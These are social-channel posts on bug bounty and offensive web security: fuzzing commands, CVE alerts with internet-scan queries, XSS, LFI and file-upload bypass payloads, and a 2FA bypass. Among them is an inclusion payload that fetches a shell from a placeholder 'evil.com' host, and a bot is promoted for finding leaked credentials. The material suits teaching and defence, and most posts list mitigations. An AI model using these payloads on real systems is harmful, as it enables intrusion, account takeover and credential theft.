🚀 Recursive Fuzzing: Digging Deeper into Hidden Paths! 🚀

🔍 What is Recursive Fuzzing?
Recursive fuzzing is a deep exploration technique where tools automatically discover nested directories, hidden files, and subpaths within a web application. This method helps identify deeply buried vulnerabilities, sensitive files, and misconfigurations that might not be found with basic directory fuzzing.

🛠 How Recursive Fuzzing Works?
🔹 1. Standard Directory Fuzzing:
Start by discovering top-level directories using a wordlist:

ffuf -u https://target.com/FUZZ -w directories.txt

✅ Finds: /admin, /uploads, /config, etc.

🔹 2. Recursive Approach:
Once a directory is found, fuzz inside it to find more hidden content:

ffuf -u https://target.com/admin/FUZZ -w files.txt

✅ Finds: /admin/login.php, /admin/config.json, etc.

🔹 3. Automating Recursion with Tools:
Many fuzzing tools allow automatic recursion to discover nested structures:

gobuster dir -u https://target.com -w wordlist.txt -t 50 -r

✅ Finds deeply hidden paths like:

/admin/backup/
/admin/backup/db.sql
/admin/backup/passwords.txt

🔹 4. Combining Recursive Fuzzing with File Extensions:
Certain file types leak sensitive data when recursively fuzzed:

ffuf -u https://target.com/FUZZ -w files.txt -e .php,.log,.bak,.zip

✅ Finds: /config/config.php.bak, /logs/errors.log

🔥 Why Recursive Fuzzing Matters?
⚠️ Finds Hidden Admin Panels & Backups – Uncover deep security holes.
⚠️ Discovers Misconfigured Directories – Exposed credentials & sensitive files.
⚠️ Exposes Forgotten Endpoints – APIs, development environments, and more.

🛠 Best Tools for Recursive Fuzzing
🔹 FFUF – Fast and flexible fuzzing (-recursion flag)
🔹 Gobuster – Great for directory discovery (-r for recursion)
🔹 Dirsearch – Supports multiple extensions & recursion

💡 Tip: Always combine recursive fuzzing with different wordlists and file extensions for the best results!

📢 Stay updated with advanced fuzzing techniques! Join us 👉 @cybersecplayground

#BugBounty #CyberSecurity #Fuzzing #Pentesting #EthicalHacking 🚀

🚨 Critical VMware ESXi Vulnerabilities Discovered! 🚨

🔴 CVE-2025-22224, CVE-2025-22225, CVE-2025-22226
⚡️ Severity: 7.1 - 9.3 (High to Critical)
⚡️ Affected Products: VMware ESXi, vCenter Server & Cloud Foundation
⚡️ Vulnerabilities:
🔹 Code Execution – Exploiting system processes for remote execution
🔹 Sandbox Escape – Breaking out of VM isolation to access the host
🔹 Memory Leak – Exposing sensitive data from unprotected memory

📡 Search on Netlas.io

💡 Manual Check:
1️⃣ Ensure your VMware ESXi is updated to the latest patch
2️⃣ Disable unnecessary services & secure management interfaces
3️⃣ Monitor network activity for unusual API calls or access attempts

🚀 Mitigation Steps
✅ Apply the latest VMware security patches immediately
✅ Restrict access to ESXi management interfaces
✅ Enable firewall rules to block unauthorized connections
✅ Monitor logs for anomalous activity

📢 Stay ahead of threats! Join us 👉 @cybersecplayground

#VMware #ESXi #CyberSecurity #EthicalHacking #Pentesting

🚨 Critical Zero-Day in Chaty Pro Plugin – CVE-2025-26776 🚨

🔴 Severity: 10.0 (Critical)
🔴 Vulnerability: Unrestricted File Upload
🔴 Impact: Full website takeover via malicious file execution

⚠️ What’s the Risk?
The Chaty Pro Plugin is affected by a dangerous file upload vulnerability, allowing attackers to:
🔥 Upload and execute malicious PHP scripts
🔥 Gain remote access & escalate privileges
🔥 Modify or delete website data
🔥 Deploy web shells for persistent control

🔍 How to Detect Affected Sites?
🔗 Netlas.io
👉🏻 Query :

http.body:"plugins/chaty-pro"

💡 Manual Check:
1️⃣ Inspect /wp-content/uploads/chaty/ for suspicious files
2️⃣ Review server logs for unexpected file upload activity
3️⃣ Ensure the plugin is updated to the latest patched version

🚀 Mitigation Steps
✅ Update Chaty Pro Plugin to the latest security patch
✅ Restrict file upload permissions (only allow safe file types)
✅ Monitor /uploads/ directory for unauthorized files
✅ Implement a Web Application Firewall (WAF)

📰 Stay Tuned for more information and poc

📢 Protect your website today! Join us 👉 @cybersecplayground

#WordPress #ChatyPro #CyberSecurity #WebSecurity #Pentesting

🚨 Hunting for Leaked Credentials Using DevTools & Burp Suite 🚨

🔍 Credential leaks can expose sensitive API keys, access tokens, and passwords, leading to serious security breaches. Here’s how to identify them using Google Chrome DevTools and Burp Suite.

🔹 Google Chrome DevTools Method
1️⃣ Open DevTools: Press Ctrl+Shift+I (Windows/Linux) or Cmd+Option+I (Mac).
2️⃣ Go to the Network Tab and enable Regex Search.
3️⃣ Refresh the Page to capture network requests.
4️⃣ Apply Regex Filter to search for leaks:

(access_key|access_token|admin_pass|aws_secret_access_key|database_password|client_secret|auth_token|encryption_key|heroku_api_key|sonatype_password)

5️⃣ Manually Inspect Matches for exposed credentials.

🔹 Burp Suite Method
1️⃣ Start Burp Suite and configure it as your browser proxy.
2️⃣ Capture Requests while browsing the target site.
3️⃣ Use Burp’s Search Feature with the following Regex pattern:

(?i)((access_key|api_key|aws_secret_key|database_password|client_secret|auth_token|cloudflare_api_key|heroku_api_key)[a-z0-9_ .\-,]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z\-_=]{8,64})['\"]

4️⃣ Inspect the results for potential leaks.

🔗 More on Credential Hunting:
Check out this OSINT tool for leaked credentials 👉 Leaked-Credentials

📢 Stay updated & secure! Join us 👉 @cybersecplayground

#OSINT #LeakedCredentials #BugBounty #CyberSecurity #EthicalHacking

🚨 VHost Fuzzing – Discover Hidden Virtual Hosts 🚨

🔍 Virtual Host Fuzzing is a powerful technique for uncovering hidden subdomains, admin panels, staging environments, and misconfigured services. Attackers often target these to bypass security controls and access sensitive information.

🔹 What is Virtual Host (VHost) Fuzzing?
🔸 Many servers host multiple web applications on the same IP but differentiate them using virtual hosts.
🔸 These vhosts are often forgotten or misconfigured, leading to security risks.
🔸 Common findings: Internal dashboards, development sites, forgotten backups, and admin panels.

🔹 Automating VHost Discovery with FFUF
Use FFUF to brute-force virtual hosts:

ffuf -w vhosts.txt -H "Host: FUZZ.example.com" -u http://example.com -mc 200,403

📌 Explanation:
✔️ -w vhosts.txt → Wordlist of potential subdomains
✔️ -H "Host: FUZZ.example.com" → Injects the payload into the Host header
✔️ -u http://example.com → Target domain
✔️ -mc 200,403 → Shows valid responses (status codes 200 & 403)

🔹 VHost Discovery with Nmap
Use Nmap to find virtual hosts on a target:

nmap --script hostmap-crtsh -p 80,443 example.com

🔹 Manually Testing with Burp Suite
1️⃣ Open Burp Suite and go to Target > Scope
2️⃣ Use the Intruder tool to brute-force Host headers
3️⃣ Check for different response lengths, error messages, or redirects

🔹 Best Wordlists for VHost Fuzzing
📌 SecLists:
🔗 VHost Wordlist


🚀 Pro Tip:
🔹 Use HTTPS where applicable
🔹 Look for misconfigured CORS policies
🔹 Try multiple status codes (200, 403, 302)

Stay ahead of security threats! Join us 👉 @cybersecplayground

#BugBounty #EthicalHacking #OSINT #CyberSecurity #VHostFuzzing

🚨 XSS via File Upload – Exploiting JavaScript in File Names 🚨

💀 Many web applications fail to sanitize uploaded filenames, allowing attackers to inject JavaScript payloads that execute when the file is processed or displayed.

🔹 Attack Breakdown
📌 Scenario: Upload a file with XSS payload in the filename
📌 Target: Sites that display filenames without proper encoding
📌 Impact: Stored XSS, potential account takeover, session hijacking

🔹 Example Payload
Try renaming your file to:

cv.pdf<img src=nothing onerror=alert("Hacked!")>

📌 What Happens?
✅ If the server fails to properly sanitize the filename, the JavaScript executes when an admin/user views it.

🔹 Bypassing Filters & WAF
🔹 URL Encoding

cv.pdf%3Cimg%20src=nothing%20onerror=alert('XSS')%3E

🔹 Using Event Handlers

cv.pdf" onmouseover=alert(1) "

🔹 Base64 Encoding
Encode the entire payload in Base64 and see if the app decodes it.

🔹 How to Detect This Vulnerability?
✅ Upload a file with an XSS payload in the filename
✅ Check if the filename is reflected anywhere (Admin Panel, File Manager, Logs, Error Messages, etc.)
✅ Observe for JavaScript execution

🔹 Real-World Impact
⚠️ Stored XSS – Persistent attack across all users who view the filename
⚠️ Privilege Escalation – Exploiting admin panels to execute malicious scripts
⚠️ Phishing & Data Theft – Injecting fake login forms to steal credentials

🔍 Hunting Tip:
👉 Test this in file upload functionalities, log pages, and admin panels
👉 Look for broken content security policies (CSP)
👉 Use Burp Suite Intruder to automate payload fuzzing

💣 Stay ahead of the game! Join us for more bug bounty & hacking techniques 👉 @cybersecplayground

#XSS #BugBounty #Hacking #CyberSecurity #WebSecurity #EthicalHacking

🔍 Finding the Origin IP Behind WAF 🔍

🚀 Methods to Unmask the Real IP:

1️⃣ Subdomain Hunting
- Look for misconfigured subdomains that may bypass WAF.
- Use tools like Subfinder, Amass, or crt.sh to discover hidden subdomains.
- Prioritize subdomains like dev.example.com, staging.example.com, or mail.example.com.

2️⃣ Extract the ASN & Check BGP
- Use whois domain.com to get the ASN (Autonomous System Number).
- Search the ASN on BGP He.net to list IP ranges owned by the target.
- Scan the IP range to detect exposed servers.

3️⃣ Historical DNS Records
- Use securitytrails.com, pentest-tools.com, or dnsdumpster.com to check past DNS records.
- Some providers expose the real IP before WAF was configured.

4️⃣ SSL/TLS Certificate Matching
- Use censys.io, shodan.io, or crt.sh to find IPs hosting the same SSL certificate.
- If multiple IPs use the same SSL cert, one could be the origin.

5️⃣ Email & SPF Records Leak
- Check the target’s SPF (v=spf1) and MX records using dig or mxtoolbox.com.
- Sometimes, email servers are hosted on the same IP as the main site.

6️⃣ Misconfigured Services & APIs
- API endpoints sometimes resolve directly to the origin IP (api.example.com).
- Use httpx or curl to interact with APIs without WAF interference.

7️⃣ Port Scanning & IP Correlation
- Use shodan.io or censyPort Scanning & IP Correlations.io to look for open ports on target’s ASN.
- If SSH or FTP is running on a non-WAF protected IP, it could be the real origin.

8️⃣ Direct IP Hosting Check
- Some misconfigured setups allow access via IP directly:

curl -H "Host: example.com" http://<potential_origin_IP>

If it returns a valid response, you’ve found the origin!

💡 Pro Tip:
CDN misconfigurations sometimes expose real IPs (check waybackurls).
Shared Hosting? Try reverse IP lookup on viewdns.info to see other domains on the same IP.

🔗 Stay ahead in OSINT & security research! Join us: @cybersecplayground 🚀

🚨 Critical Security Alert: CVE-2025-24813 🚨

💀 Apache Tomcat Remote Code Execution & Data Leak 💀

🔥 A newly discovered flaw in Apache Tomcat allows attackers to execute arbitrary code and leak sensitive data. Immediate patching is required!

📊 Affected Services:
10.7M+ Apache Tomcat servers are exposed yearly via public scanning tools.

🔎 Track vulnerable instances
🕵️ Queries

Hunter: product.name="Apache Tomcat"
FOFA: product="APACHE-Tomcat"
Shodan: product:"Apache Tomcat"

🔖 Reference & Mitigation:
📰 Security Advisory
📜 Apache Security Thread

💡 Defensive Measures:
✅ Update to the latest Apache Tomcat version
✅ Restrict access to management interfaces
✅ Harden configurations and enforce WAF rules

⚠️ Unpatched servers remain highly vulnerable—act now!

🔗 Stay ahead in cybersecurity—join us! @cybersecplayground 🚀

🚨 CVE-2022-24500: Windows SMB RCE Vulnerability 🚨

💀 Critical Windows SMB Remote Code Execution 💀

⚡️ A severe vulnerability in Windows SMB allows remote code execution, potentially leading to full system compromise. Attackers can exploit this flaw to execute arbitrary commands on vulnerable systems.

🔎 Exploit & Proof-of-Concept
🔗 GitHub PoC: CVE-2022-24500 Exploit

📖 Vulnerability Details:

Type: Remote Code Execution (RCE)
Affected Systems: Windows versions with unpatched SMB service
Impact: System takeover, privilege escalation, malware deployment

🛡 Mitigation Steps:
✅ Apply Microsoft security patches immediately
✅ Disable SMBv1 if not needed
✅ Restrict access to SMB services via firewall rules

⚠️ Unpatched systems are at risk—update now!

🔗 Stay ahead in cybersecurity—join us! @cybersecplayground 🚀

🚨 Security Alert: CVE-2025-26319 🚨

🔥 Arbitrary File Upload in Flowise (v2.5) – CVSS 9.8 Critical

📌 What’s the risk?
A pre-authenticated arbitrary file upload vulnerability in FlowiseAI Flowise v2.5 allows attackers to upload malicious files, potentially leading to remote code execution (RCE) and server compromise.

🔍 Key Details:

📌 Affected Version: FlowiseAI Flowise v2.5
🚨 Risk: Unauthenticated attackers can upload malicious files, leading to full system compromise

⚠️ No Patch Available Yet

💻 HUNTER Query:product.name="Flowise"

🔗 Hunter Link

🔔 Action Required:
✅ If you’re using Flowise v2.5, apply mitigations immediately!
✅ Restrict file uploads and monitor for suspicious activities
✅ Check if your instance is exposed using Netlas.io

🔴 Stay ahead in cybersecurity – Join us!
🔗 @cybersecplayground for real-time updates.

#Flowise #hunterhow #infosec #infosecurity #OSINT #Vulnerability 🚨

🚨 LeakHunter Bot is Officially Launched! 🚨

🔍 Find Leaked Passwords, Emails & Links Instantly! 🔍

The LeakHunter Bot is designed to help you discover leaked credentials, which can be useful for admin takeover testing and cybersecurity research. Stay ahead of potential security risks by accessing compromised data efficiently!

⚡ Features:
✅ Search leaked emails & passwords
✅ Find exposed credentials
✅ Gather links to leaked databases

💻 Try it now: LeakHunter Bot – Your go-to tool for uncovering leaked credentials!

🚀 Join @CyberSecPlayground for the latest in cybersecurity, ethical hacking, and security tools! Stay ahead in the game!


📢 #CyberSecurity #HackingTools #DataLeaks #LeakHunter #EthicalHacking #Infosec #CyberSecPlayground

🚨 Bug Bounty Tip: Test for Password Reset Vulnerabilities! 🚨

A weak password reset flow can lead to account takeover – a serious security risk! 🔥

✅ What to Check?

🔹 Token Guessing → Is the reset token predictable or reusable? Attackers can exploit weak tokens to reset passwords easily!

🔹 Email/Phone Enumeration → Does the system confirm if an account exists? Exposing this info can help attackers target specific users!

🔹 Rate Limiting & Brute Force Protection → Can an attacker brute-force reset requests without restrictions?

🔹 Lack of Multi-Factor Authentication (MFA) → Is there an extra layer of security after resetting a password?

🛡️ Always ensure strong reset mechanisms to prevent unauthorized access!

🚀 Join @CyberSecPlayground for more bug bounty tips, hacking insights, and cybersecurity tools!


📢 #BugBounty #CyberSecurity #EthicalHacking #Pentesting #InfoSec #HackingTips #BugBountyTips #CyberSecPlayground

🚨 Security Alert: CVE-2025-20115 🚨

🔥 Cisco IOS XR BGP Confederation DoS Vulnerability – Denial of Service (DoS) Risk

📌 What’s the risk?
A newly disclosed Denial of Service (DoS) vulnerability in Cisco IOS XR Software affects Border Gateway Protocol (BGP) Confederations, potentially allowing attackers to disrupt network traffic on affected devices.

🔍 Key Details:

📌 Affected Product: Cisco IOS XR Software
⚠️ Impact: Attackers can exploit this flaw to trigger a DoS condition, taking down network routers
📊 1,300+ exposed instances detected on Hunter
🚨 Actively scanned and exploited in the wild
🔎 How to find vulnerable instances?
💻 HUNTER Query: product.name="Cisco IOS-XR"
🔗 Hunter Link: https://hunter.how/list...
📊 Alternative Searches:

FOFA Query: product="CISCO-IOS-XR"
SHODAN Query: os:"Cisco IOS XR"

📜 Official Cisco Advisory:
🔗 Cisco Security Advisory
📰 More Details: Security Online Info

🔔 Mitigation Steps:
✅ Apply the latest patches from Cisco ASAP
✅ Restrict access to BGP configurations
✅ Monitor logs for abnormal BGP traffic and DoS attempts

🔴 Stay updated on cybersecurity threats!
🔗 @cybersecplayground for real-time security alerts.

#Cisco #hunterhow #infosec #infosecurity #OSINT #Vulnerability 🚨

🔍 Bug Bounty Tip: Testing for JavaScript Prototype Pollution!

JavaScript Prototype Pollution can lead to:
⚠️ Privilege escalation 🔥
⚠️ Application-wide XSS 🚀
⚠️ Bypassing security controls 🕵️

✅ How to Test?
1️⃣ Inject payloads in JSON requests, query parameters, or headers:

{
  "__proto__": { "isAdmin": true }
}

2️⃣ Common parameters to test:

__proto__[key]=value
constructor.prototype.key=value
prototype.key=value
Object.prototype.key=value

3️⃣ Test for impact:

- Look for modified global objects
- Check access control bypass (e.g., user → admin)
- Inspect DOM-based XSS triggers

💡 Tools for Detection:
🔹 Burp Suite Intruder – Automate payload injection
🔹 JS libraries scanners – Find affected dependencies (H1PP or ppfuzz)
🔹 Manual testing – Debug in browser console

⚠️ Watch out! Some frameworks like Express.js, AngularJS, and Lodash are vulnerable by default!

🔔 Stay updated on security techniques!
🔗 @cybersecplayground for more bug bounty tips.

#BugBounty #JavaScript #PrototypePollution #XSS #Security

Poc 1 : https://github.com/iSee857/CVE-2025-2481...
Poc 2 : https://github.com/absholi7ly/...

🔍 LFI via GET Request - Local File Inclusion Exploit

If you find an endpoint vulnerable to LFI (Local File Inclusion), try this payload:

/shell.jsp?cmd=cat+%2Fetc%2Fpasswd

✅ Why this works?
cat /etc/passwd reads system user details.
%2F is URL encoding for / (to bypass filters).
Works on misconfigured web applications allowing direct command execution.

🔥 More Payloads to Try:

?file=../../../../../../etc/passwd
?page=../../../../../../../var/log/apache2/access.log
?inc=http://evil.com/shell.txt (RFI possibility!)
?cmd=ls+-la+/var/www/html/

💡 Pro Tips:
Test null bytes %00 and encoding tricks.
Try log poisoning for RCE.
If 403 is encountered, bypass with ..%2f..%2f..%2f sequences.

🚨 Vulnerable Software Alert:
CVE-2025-24813 - Apache Tomcat RCE via LFI

🔗 Reference

🔔 Stay updated with more Bug Bounty tips at @cybersecplayground!

#BugBounty #LFI #RCE #Security #Pentesting 🚀

🔥 2FA Bypass → Impersonation Attack

1️⃣ Create an account using your own email.
2️⃣ Complete OTP verification and select "Trust this device for 1 month" (or similar).
3️⃣ The session now does not require OTP for the next month.
4️⃣ Change the email to victim’s email (User B).
5️⃣ The session is now linked to User B's email, bypassing 2FA!
6️⃣ Logout and log back in—no OTP required.

🚨 Impact:
✅ Account Takeover – Attacker gains access to the victim’s account.
✅ Bypasses 2FA Security – A trusted session remains active for an extended period.
✅ Critical Business Risk – This can lead to unauthorized access to sensitive data.

🛠 Mitigation:
🔹 Force re-authentication when changing the email address.
🔹 Invalidate old sessions upon email update.
🔹 Re-prompt 2FA for all sensitive account changes.

🔗 Full details : HackerOne Report

#BugBountyTips #2FAbypass #AccountTakeover #CyberSecurity #Infosec

⚠️CVE-2025-24071

allows Windows Explorer to automatically initiate an SMB authentication request when a .library-ms file is extracted from a .rar archive. This leads to an NTLM hash disclosure without user interaction. 🚨

🔍 Key Details:

Impact: NTLM hash leak
Trigger: Extracting a .rar archive containing a .library-ms file

Exploitation: The extracted file initiates an SMB request to an attacker's controlled server, revealing authentication credentials.
🔗 PoC & More Info:
👉 https://github.com/0x6rss/CVE-2025-24071_PoC

#CyberSecurity #Exploit #NTLM #Windows #BugBounty #InfoSec

🚨 WooCommerce Plugin LFI Vulnerability 🚨

A critical Local File Inclusion (LFI) vulnerability has been discovered in the WooCommerce plugin, allowing attackers to read sensitive files on the server!

🔍 Exploit Steps:
1️⃣ Capture the request in Burp Suite.
2️⃣ Change the request method to POST and modify the request URL as follows:

POST /wp-admin/admin-ajax.php?template=../../../../../../../etc/passwd&value=a&min_symbols=1

3️⃣ Add the following parameter to the body:

action=woof_text_search&

4️⃣ Send the request and retrieve local files from the target server!

🚀 Impact:
🔸Access sensitive system files
🔸Potential privilege escalation
🔸Further exploitation leading to full system compromise

⚠️ If you're using WooCommerce, update immediately and ensure proper input sanitization!

📢 Join my Telegram for more cybersecurity content: @cybersecplayground

#BugBounty #CyberSecurity #WooCommerce #WordPress #LFI #Exploit #EthicalHacking

🚨 Bug Bounty Tip: Test for Host Header Attacks! 🚨

Many web applications blindly trust the Host header, making them vulnerable to serious security flaws like:

⚠️ Password Reset Poisoning – Manipulating password reset links to redirect victims to an attacker-controlled domain! 🔥

⚠️ Cache Poisoning – Poisoning the CDN or web cache by injecting malicious Host headers, serving fake content! 🎭

⚠️ SSRF & Internal Service Access – Redirecting requests to internal services by changing the Host to 127.0.0.1 or internal IPs! 🌐

🔹 How to Test?

1️⃣ Intercept a request in Burp Suite.

2️⃣ Modify the Host header to a different domain, localhost, or an attacker-controlled server.

3️⃣ Analyze the response to see if the application processes the modified header!

💡 Pro Tip: Check for applications that generate absolute URLs dynamically—these are often vulnerable!

⚠️ Always test responsibly and report bugs ethically! ⚠️

🚀 Join @CyberSecPlayground for more bug bounty tips, hacking tricks, and private tools!

🔗 Join Now

📢 #BugBounty #CyberSecurity #Hacking #EthicalHacking #Pentesting #InfoSec #SSRF #CachePoisoning #CyberSecPlayground

🚀 Bypassing File Upload Restrictions: Exploiting Extension Blacklists Like a Pro! 🔥

🛠 Bypassing File Extension Exclusion Lists in Web Applications
Many web applications implement security measures that block the upload of potentially dangerous file types, such as .php or .jsp. However, attackers and penetration testers often find ways to bypass these restrictions by using alternative file extensions or exploiting misconfigurations in the system.

🧐 Why Does This Work?
- Incomplete Blacklists – Some web applications only block .php but forget other PHP-related extensions like .phtml or .php7.
- MIME Type Validation Issues – Some applications only check the MIME type, which can be spoofed.
- Misconfigured Web Servers – Web servers like Apache and Nginx may still execute certain alternate file extensions as code.
- Double Extensions – Some apps fail to properly filter filenames like shell.php.jpg, which may still execute if uploaded and accessed a certain way.

🔥 Extension Variations for Different Technologies

🔹 PHP File Extensions (For Bypassing PHP Filters)
✔️ .phtml – PHP interprets it as a valid script
✔️ .php2, .php5, .php7 – Older/newer PHP versions may process these
✔️ .phar – PHP Archive, sometimes executed as PHP
✔️ .inc – Intended for include files, but still processed as PHP in some setups

🔹 ASP.NET File Extensions (For Windows/IIS Servers)
✔️ .asp, .aspx – Classic and modern ASP.NET
✔️ .ashx, .asmx – Web handlers that may execute code
✔️ .cshtml, .vbhtml – Razor pages that execute server-side

🔹 Java File Extensions (For JSP-based Servers)
✔️ .jsp, .jspx – JavaServer Pages, executed by Tomcat
✔️ .jsw, .jsv, .jspf – Alternative JSP formats
✔️ .action, .do – Used in Java-based frameworks like Struts

🔹 Other Extensions to Try
✔️ .svg – Some applications allow SVG uploads, which can include JavaScript payloads
✔️ .html, .cgi – Might be interpreted as executable content in some configurations
✔️ .htaccess – Can be used to override settings and enable execution of certain files
✔️ .cfm – ColdFusion scripts, which may be processed if the server supports it

🛠 Exploit Techniques
🔹 Case Sensitivity – Some filters only block .php but allow .PHP
🔹 Double Extensions – shell.php.jpg might bypass restrictions but still execute if accessed in a certain way
🔹 Null Byte Injection – Some applications fail to properly handle %00, allowing uploads like shell.php%00.jpg
🔹 MIME Spoofing – Changing the Content-Type to image/jpeg might allow execution if validated poorly

💡 Practical Example
Let’s say an upload filter blocks .php, but the server still executes .phtml. You could try renaming your payload:

🚀 Original file: shell.php
🔄 Bypassed file: shell.phtml

If the web server processes .phtml as PHP, your shell will still execute!

⚠️ How to Protect Against This?
✅ Use a whitelist approach (only allow specific safe extensions like .jpg, .png, etc.)
✅ Check both extension and MIME type (don’t rely on one method alone)
✅ Deny execution in upload directories (configure web server rules to prevent execution)
✅ Sanitize filenames properly (remove special characters and prevent double extensions)

📢 Join @cybersecplayground for more bug bounty tips, hacking techniques, and security insights! 🚀💀